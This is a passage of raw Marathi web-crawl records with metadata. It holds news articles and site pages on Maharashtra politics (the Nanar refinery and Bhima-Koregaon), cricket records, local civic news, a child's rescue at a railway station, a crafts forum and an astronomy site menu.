दिल्याने राज्य सरकारसमोरील अडचण वाढली आहे.\nदरम्यान, या तोडफोडीनंतर पोलिसांनी या कार्यालयाला पोलिस बंदोबस्त दिला आहे. तसेच तोडफोडीचे सीसीटीव्ही चित्रीकरण ताब्यात घेतले आहे. तोडफोड करणार्‍यांची ओळख पटविण्याचे काम सुरू असून, लवकरच संबंधितांवर कारवाई केली जाईल, अशी माहिती ताडदेव पोलिस ठाण्याचे प्रभारी वरिष्ठ पोलिस निरीक्षक संजय कोळेकर यांनी सांगितले.\nप्रकल्पाला काँग्रेसचा विरोध : विखे-पाटील\nनागपूर : कोकणामध्ये होऊ घातलेला नाणार प्रकल्प गुजरातमध्ये न्यावयाचा असल्याने भाजप व शिवसेना एकमेकांवर आरोप करून लोकांमध्ये संभ्रम निर्माण करीत असल्याचा आरोप विधानसभेतील विरोधी पक्षनेते राधाकृष्ण विखे-पाटील यांनी आज नागपुरात केला. नाणार प्रकल्पाला काँग्रेसला विरोध असल्याचेही त्यांनी स्पष्ट केले. भंडारा-गोंदिया येथील काँग्रेस कार्यकर्त्यांशी चर्चा करण्यासाठी विखे-पाटील आज नागपुरात आहे.\nयावेळी पत्रकारांशी बोलताना ते म्हणाले, नाणार प्रकल्पाबाबत राज्य सरकारने भूमिका ठाम राहिली नाही. एक वेळा राज्य सरकारने प्रकल्प होणार असल्याची घोषणा केली होती. लोकांचा विरोध पाहून सरकार बचावाच्या भूमिकेत आले. राज्य शासनाचा विरोध असताना हा प्रकल्प केंद्र सरकार मंजूर कसा करू शकतो, असा सवाल त्यांनी यावेळी केला. भाजप सरकारला हा प्रकल्प गुजरातला न्यावयाचा आहे. त्यासाठी मुख्यमंत्री घाट घालत असल्याचे त्यांनी सांगितले. नाणार प्रकल्पाला काँग्रेसला विरोध असल्याचेही त्यांनी स्पष्ट केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00338.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/node/37112", "date_download": "2018-09-25T16:46:17Z", "digest": "sha1:JCNN5AXGKZJXLJFHPQEREIAFA3HRYIRL", "length": 3404, "nlines": 98, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "गुलमोहर - इतर कला | Maayboli", "raw_content": "\nगुलमोहर - इतर कला\n(प्रकाशचित्रण आणि चित्रकला व्यतिरिक्त\nभिंतीवर काढलेला देखावा (निसर्गचित्र) लेखनाचा धागा\nमाझे भरतकाम (सेंटर पीसेस) - 1 लेखनाचा धागा\nलहान माझी भावली लेखनाचा धागा\nअप्लिक चा अजुन एक प्रयत्न लेखनाचा धागा\nक्रेप पेपरची फुलं लेखनाचा धागा\nहलव्याचे दागिने लेखनाचा धागा\nअप्लिक चा पहिला प्रयत्न लेखनाचा धागा\nताटाभोवतीची नाविन्यपूर्ण महिरप लेखनाचा धागा\nपेपर क्विलिंग- 5 लेखनाचा धागा\nपेपर क्विलिंग- 4 (गुलाब) लेखनाचा धागा\nपेपर क्विलींग लेखनाचा धागा\nहॅट कीचेन लेखनाचा धागा\nरांगोळी - भाग ३ लेखनाचा धागा\nपेपर क्विलिंग- 3 (fringed flower) लेखनाचा धागा\nपेपर क्विलिंग- 2 (बेसिक शेप्स) लेखनाचा धागा\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nगुलमोहर - इतर कला\nया ग्रूपचे सभासद व्हा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00338.warc.wet.gz", "language": "mr", "language_score": 0.81, "bucket": "all"} {"url": "https://mahasports.co.in/first-9-ipl-editions-records/", "date_download": "2018-09-25T17:42:46Z", "digest": "sha1:3STQIUW7BUNOZ3F66BCEF2GOK54PZQJH", "length": 7142, "nlines": 104, "source_domain": "mahasports.co.in", "title": "आकडेवारी आयपीएलच्या पहिल्या ९ पर्वांची... -", "raw_content": "\nआकडेवारी आयपीएलच्या पहिल्या ९ पर्वांची…\nआकडेवारी आयपीएलच्या पहिल्या ९ पर्वांची…\nआयपीएल आणि रेकॉर्डस्च अतूट नातं आहे. अगदी २००८ साली झालेल्या पहिल्या आयपीएलमधील पहिल्या सामन्यापासून रेकॉर्डस् बनत आहेत आणि आजही तो सिलसिला सुरूच आहे. अश्याच काही हटके रेकॉर्डस्चा हा आढावा\nसर्वात जास्त सामने खेळलेले खेळाडू\nकर्णधार म्हणून सर्वाधिक सामने\nपंच म्हणून सर्वाधिक सामने\nसर्वाधिक धावा करणारे फलंदाज\nएका सामन्यात सर्वाधिक धावा करणारे खेळाडू\nसर्वाधिक बळी घेणारे खेळाडू\nसामन्यात सर्वाधिक बळी घेणारे खेळाडू\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00338.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://pclive7.com/tag/%E0%A4%A8%E0%A4%A6%E0%A5%80/", "date_download": "2018-09-25T18:01:13Z", "digest": "sha1:5ATFK7TKHF5DDKUP4UI3J7275FIZ7CPX", "length": 5220, "nlines": 66, "source_domain": "pclive7.com", "title": "नदी | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nआळंदीकरांना स्वच्छ पाणी मिळणार तरी कधी…\nकोल्हापूरजवळ ट्रॅव्हल्स पंचगंगेत कोसळली; १३ जणांचा मृत्यू\nकोल्हापूर (Pclive7.com):- गणपतीपुळेहून कोल्हापूरकडे येत असलेली मिनी ट्रॅव्हल्स पंचगंगा नदीवरील शिवाजी पुलाचा कठडा तोडून १०० फूट खाली कोसळल्याने झालेल्या भीषण अपघातात १३ जणांचा जागीच मृत्यू झ...\tRead more\nनदी वाचवा, समाज संस्कृती वाचेल – आयुक्त श्रावण हर्डीकर\nपिंपरी (Pclive7.com):- आज मोठ्या प्रमाणात नद्यांवर अतिक्रमणे केली जात आहेत. खरे तर नद्या या पृथ्वीच्या वाहिन्या आहेत. जिवंत नद्या या जिवंत जगाचे द्योतक आहेत. त्यामुळे नद्यांचे जतन करणे ही सर...\tRead more\nपिंपरीगाव ते पिंपळे सौदागर समांतर पुलाचे काम लवकरच सुरू होणार – संदीप वाघेरे\nपिंपरी (Pclive7.com):- पिंपरी वाघेरे गाव ते पिंपळे सौदागर मार्गातील नदीवरील नियोजित १२ मीटर समांतर पुलाचे काम लवकरच होणार अशी माहिती नगरसेवक संदीप वाघेरे यांनी दिली आहे. या पुलामुळे शहरातून...\tRead more\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00339.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/ambedkar-concept-summit-128511", "date_download": "2018-09-25T17:57:41Z", "digest": "sha1:SAMGAGIVJJ3IQUEHUSW3TSDQ7ZXVD475", "length": 11771, "nlines": 171, "source_domain": "www.esakal.com", "title": "Ambedkar Concept Summit डॉ. आंबेडकर विचार संमेलन | eSakal", "raw_content": "\nडॉ. आंबेडकर विचार संमेलन\nगुरुवार, 5 जुलै 2018\nसोलापूर : मार्क्‍सवाद्यांनी व गांधीवाद्यांनी डॉ. बाबासाहेब आंबेडकर यांच्या प्रती काय केले या प्रमुख विषयावर 14 जुलै रोजी सोलापुरातील हुतात्मा स्मृती मंदिरात डॉ. बाबासाहेब आंबेडकर विचार संमेलन होणार आहे. या संमेलनाच्या माध्यमातून समाजाला डॉ. आंबेडकरांचे कार्य व विचार समजावून सांगितले जाणार असल्याची माहिती प्रा. एम. आर. कांबळे यांनी पत्रकार परिषदेत दिली.\nसोलापूर : मार्क्‍सवाद्यांनी व गांधीवाद्यांनी डॉ. बाबासाहेब आंबेडकर यांच्या प्रती काय केले या प्रमुख विषयावर 14 जुलै रोजी सोलापुरातील हुतात्मा स्मृती मंदिरात डॉ. बाबासाहेब आंबेडकर विचार संमेलन होणार आहे. या संमेलनाच्या माध्यमातून समाजाला डॉ. आंबेडकरांचे कार्य व विचार समजावून सांगितले जाणार असल्याची माहिती प्रा. एम. आर. कांबळे यांनी पत्रकार परिषदेत दिली.\nडॉ. आंबेडकरांचे विचार व कार्य मर्यादित ठेवण्याचा प्रयत्न समाजातील काही घटकांकडून होत आहे. नव्या पिढीला बाबासाहेबांचे विशाल विचार व कार्य समजावेत यासाठी हे संमेलन होणार आहे. दोन सत्रांमध्ये हे संमेलन होणार असल्याचेही त्यांनी सांगितले. देशातील आंबेडकरी चळवळीला नक्षलवाद्यांशी जोडले जात असल्याचा आरोपही यावेळी करण्यात आला आहे. चळवळीला बदनाम करण्याचा प्रयत्न यातून होत असल्याचेही त्यांनी सांगितले.\nसंमेलनातील होणारी सत्र व वक्ते यांची माहिती लवकरच दिली जाणार असल्याचेही त्यांनी सांगितले. यावेळी राजाभाऊ सरवदे, राजाभाऊ इंगळे, सुबोध वाघमोडे, बाळासाहेब वाघमारे, अशुतोष नाटकर, मनीष सुरवसे, प्रशांत गायकवाड आदी उपस्थित होते.\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nकेसरकर यांचा जिल्ह्यात वचक : सावंत\nसावंतवाडी : माजी पालकमंत्री नारायण राणे यांच्या काळात गेल्या काही वर्षात जिल्ह्यात सुरू असलेले राजकीय हत्या गृहराज्यमंत्री दीपक केसरकर यांच्या...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nकल्याणकारी मंडळासाठी आर्थिक तरतूद करा - वृत्तपत्र विक्रेता संघटना\nकोल्हापूर - असंघटीत कामगार वृत्तपत्र विक्रेता कल्याणकारी मंडळासाठी राज्य सरकारने भरीव तरतूद करावी. यासह अन्य अन्य मागण्यांसाठी महाराष्ट्र राज्य...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00339.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Bhima-Koregaon-close-period-Behind-Offense/", "date_download": "2018-09-25T17:13:47Z", "digest": "sha1:6327PKYOODWE7TJ2QRJM3QAO7JVHP2L3", "length": 9715, "nlines": 38, "source_domain": "www.pudhari.news", "title": " भीमा-कोरेगाव : बंद काळातील गुन्हे मागे | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › भीमा-कोरेगाव : बंद काळातील गुन्हे मागे\nभीमा-कोरेगाव : बंद काळातील गुन्हे मागे\nकोरेगाव-भीमा येथे घडलेली घटना दुर्दैवी असून त्याचे कुणीच समर्थन करणार नाही. या प्रकरणात जात, धर्म पाहून कुणावर कारवाई केली जाणार किंवा कुणाला पाठीशी घालणार नाही. तर जे कुणी घटनेस जबाबदार व दोषी असतील त्यांच्यावर कठोर कारवाई करण्यात येईल. सर्वच समाजातील लोकांचे या घटनेत मोठ्या प्रमाणात नुकसान झाले असून त्याची सर्व भरपाई राज्य सरकार करून देईल. बंदच्या काळातील सर्व गुन्हे मागे घेण्यात येतील आणि जाणीवपूर्वक ज्यांनी लूटमार केली त्या सराईत गुन्हेगारांवर कारवाई करण्यात येईल, अशी घोषणा मुख्यमंत्री देवेंद्र फडणवीस यांनी विधान परिषदेत केली.\nत्याचबरोबर भीमा-कोरेगाव येथील विजयस्तंभाजवळ अतिरिक्त व्यवस्था करण्याबाबत काम सुरू असून राज्याचे सामाजिक न्यायमंत्री त्याकडे लक्ष देत आहेत. त्याचबरोबर वडू येथील संभाजी महाराजांची समाधी राज्य सरकार ताब्यात घेऊन तिथे यथोचित स्मारक करण्यात येईल, असे मुख्यमंत्र्यांनी सांगितले.\nपुणे जिल्ह्यातील कोरेगाव-भीमा प्रकरणी विरोधकानी अल्पकालीन सूचनेच्या माध्यमातून उपस्थित केलेल्या चर्चेला उत्तर देताना मुख्यमंत्री फडणवीस यांनी ही घटना सरकारपुरस्कृत असल्याचे आणि मिलिंद एकबोटे यांना सरकार जाणीवपूर्वक वाचवत असल्याचे आरोप फेटाळून लावले. या घटनेपूर्वीची व नंतरची वस्तुस्थिती स्पष्ट करत या प्रकरणात सरकारने केलेल्या कारवाईची सविस्तर माहिती दिली. एकबोटे यांना अटक करण्यासाठी पुणे, कोल्हापूर येथे कोंबिंग ऑपरेशन करण्यात आले. उत्तर प्रदेश, मध्य प्रदेश मध्ये त्यांचा शोध घेतला तसेच त्यांचे जवळचे नातेवाईक कार्यकर्ते व त्यांच्याशी संबंधित 100 दूरध्वनी क्रमांकांची तपासणी करण्यात आल्याची माहिती सभागृहात दिली.\nया प्रकरणानंतर मिलिंद एकबोटे यांच्याविरोधात तात्काळ गुन्हा दाखल करण्यात आला. त्यांना जामीन मिळू नये यासाठी जिल्हा, उच्च न्यायालयात तसेच सर्वोच्च न्यायालयात सरकारने प्रयत्न केले. या घटनेशी संबंधित प्रकरणातील अधिक चौकशीसाठी मिलिंद एकबोटे यांचा सशर्त जमीन रद्द करून कोठडीतील चौकशीस परवानगी मिळावी यासाठी राज्य सरकार अ‍ॅटर्नी जनरलमार्फत सर्वोच्च न्यायालयात प्रयत्न करत असल्याचे त्यांनी स्पष्ट केले. एकबोटे यांनी घेतलेल्या पत्रकार परिषदेची माहिती पोलिसांना होती का याची देखील चौकशी करून संबंधित दोषी पोलीस अधिकार्‍यांवर कारवाई करण्यात येईल, असे त्यांनी सांगितले.\nया घटनेची चौकशी न्यायालयाच्या विद्यमान न्यायमूर्तींकडून करण्यात येईल असे जाहीर केले होते. पण प्रलंबित प्रकरणांमुळे विद्यमान न्यायमूर्ती देता येणार नसल्याचे उच्च न्यायालयाकडून कळविण्यात आल्याने त्यांनी सुचविलेल्या तीन नावांपैकी कोलकाता उच्च न्यायालयाचे माजी न्यायमुर्ती जे.एन. पटेल यांच्या अध्यक्षतेखाली समिती नेमली आहे. यामध्ये राज्याचे मुख्य सचिव सुमित मलिक सदस्य असून पारदर्शकपणे चौकशी करण्यात येईल.\nबंदच्या काळात दाखल झालेले गुन्हे मागे घेण्यात येतील, मात्र गंभीर स्वरुपांच्या गुन्ह्यात अतिरिक्त पोलीस महासंचालक कायदा व सुव्यवस्था यांच्या अध्यक्षतेखाली समिती स्थापन करून तीन महिन्यात अहवाल मागवून योग्य ती कारवाई करण्यात येईल. जे अट्टल गुन्हेगार आहेत आणि तोडफोड व लुटमारीत सहभाग आहे, अशा गुन्हेगारांवरील गुन्हे मागे घेतेले जाणार नसल्याचे मुख्यमंत्री म्हणाले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00339.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/grandfather-saves-life-of-his-grandson/", "date_download": "2018-09-25T17:10:08Z", "digest": "sha1:YHGSGQ6TLU7DSAGM5OGH2JHOFWIHD5HJ", "length": 17886, "nlines": 257, "source_domain": "www.saamana.com", "title": "रेल्वे आणि फलाटामध्ये अडकलेल्या रुद्रला आजोबांमुळे जीवदान | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nरेल्वे आणि फलाटामध्ये अडकलेल्या रुद्रला आजोबांमुळे जीवदान\nनांदेड-मुंबई तपोवन एक्स्प्रेसमधून उतरल्यानंतर तीन वर्षांच्या रुद्र या बालकास प्रवाशाचा धक्का लागल्यामुळे तो प्लॅटफॉर्म आणि रेल्वेगाडीमध्ये असलेल्या जागेतून खाली पडला. क्षणाचाही विलंब न करता त्याच्या आजोबांनी प्लॅटफॉर्मवर झोपून त्याला रेल्वेपटरीवरून काढले. रुद्रच्या डोक्याला किरकोळ दुखापत झाल्यामुळे तो रडत होता. मात्र, त्याच्यावर आलेले मोठे संकट टळल्यामुळे आजोबा आणि त्याच्या आईच्या डोळ्यातून आनंदआश्रू वाहत होते.\nशेषराव गोंधळे हे परभणी येथून तपोवन एक्स्प्रेसमध्ये बसले. दुपारी पावणेतीन वाजेच्या सुमारास तपोवन एक्स्प्रेस संभाजीनगर रेल्वेस्थानकात दाखल झाल्यावर गोंधळे हे मुलगी संगीता, तिच्याकडे असलेले तीन महिन्याचे बाळ, नातू रुद्र आणि सोबत असलेल्या पिशव्या उतरविण्यासाठी अगोदरच दरवाजाजवळ येऊन थांबले. संभाजीनगर रेल्वेस्थानक आल्यावर त्यांनी रुद्रला प्लॅटफॉर्मवर उतरवले आणि लहान बाळ, बॅग घेण्यासाठी पुढे सरकले असता अन्य प्रवाशाच्या धक्क्याने रुद्र प्लॅटफॉर्म आणि रेल्वेगाडीच्या मोकळ्या जागेतून खाली पडला. मुलगा खाली पडल्याचे गाडीत बसलेल्या महिलेने पाहिले आणि ती जोरात ओरडली. दरम्यान, गाडी निघण्याची वेळ झाल्यामुळे काहीजण रेल्वेची चेन ओढण्यासाठी आत शिरू लागले, तर काही धावपळ करू लागले. मात्र, रुद्रचे आजोबा पटकन खाली प्लॅटफॉर्मवर झोपले आणि दोन-तीन वेळा प्रयत्न करून रुद्रला रेल्वेपटरीवरून बाहेर काढले. या अपघातात रुद्रच्या डोक्याला किरकोळ दुखापत झाली आहे. नातू सुखरूप असल्याचं बघितल्यानंतर गोंधळेंच्या जीवात जीव आला. आजोबांनी केलेल्या धाडसाचे रेल्वेस्टेशनवर कौतुक होत होते.\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलतेलगी प्रकरणाचा खटला आणखी किती दिवस चालवायचा\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00339.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://avakashvedh.com/haa_mahina/vishesh.html", "date_download": "2018-09-25T17:27:44Z", "digest": "sha1:RIPU4LGD6CDGMLYU2O7NO45JIIQQGJNE", "length": 7585, "nlines": 124, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ 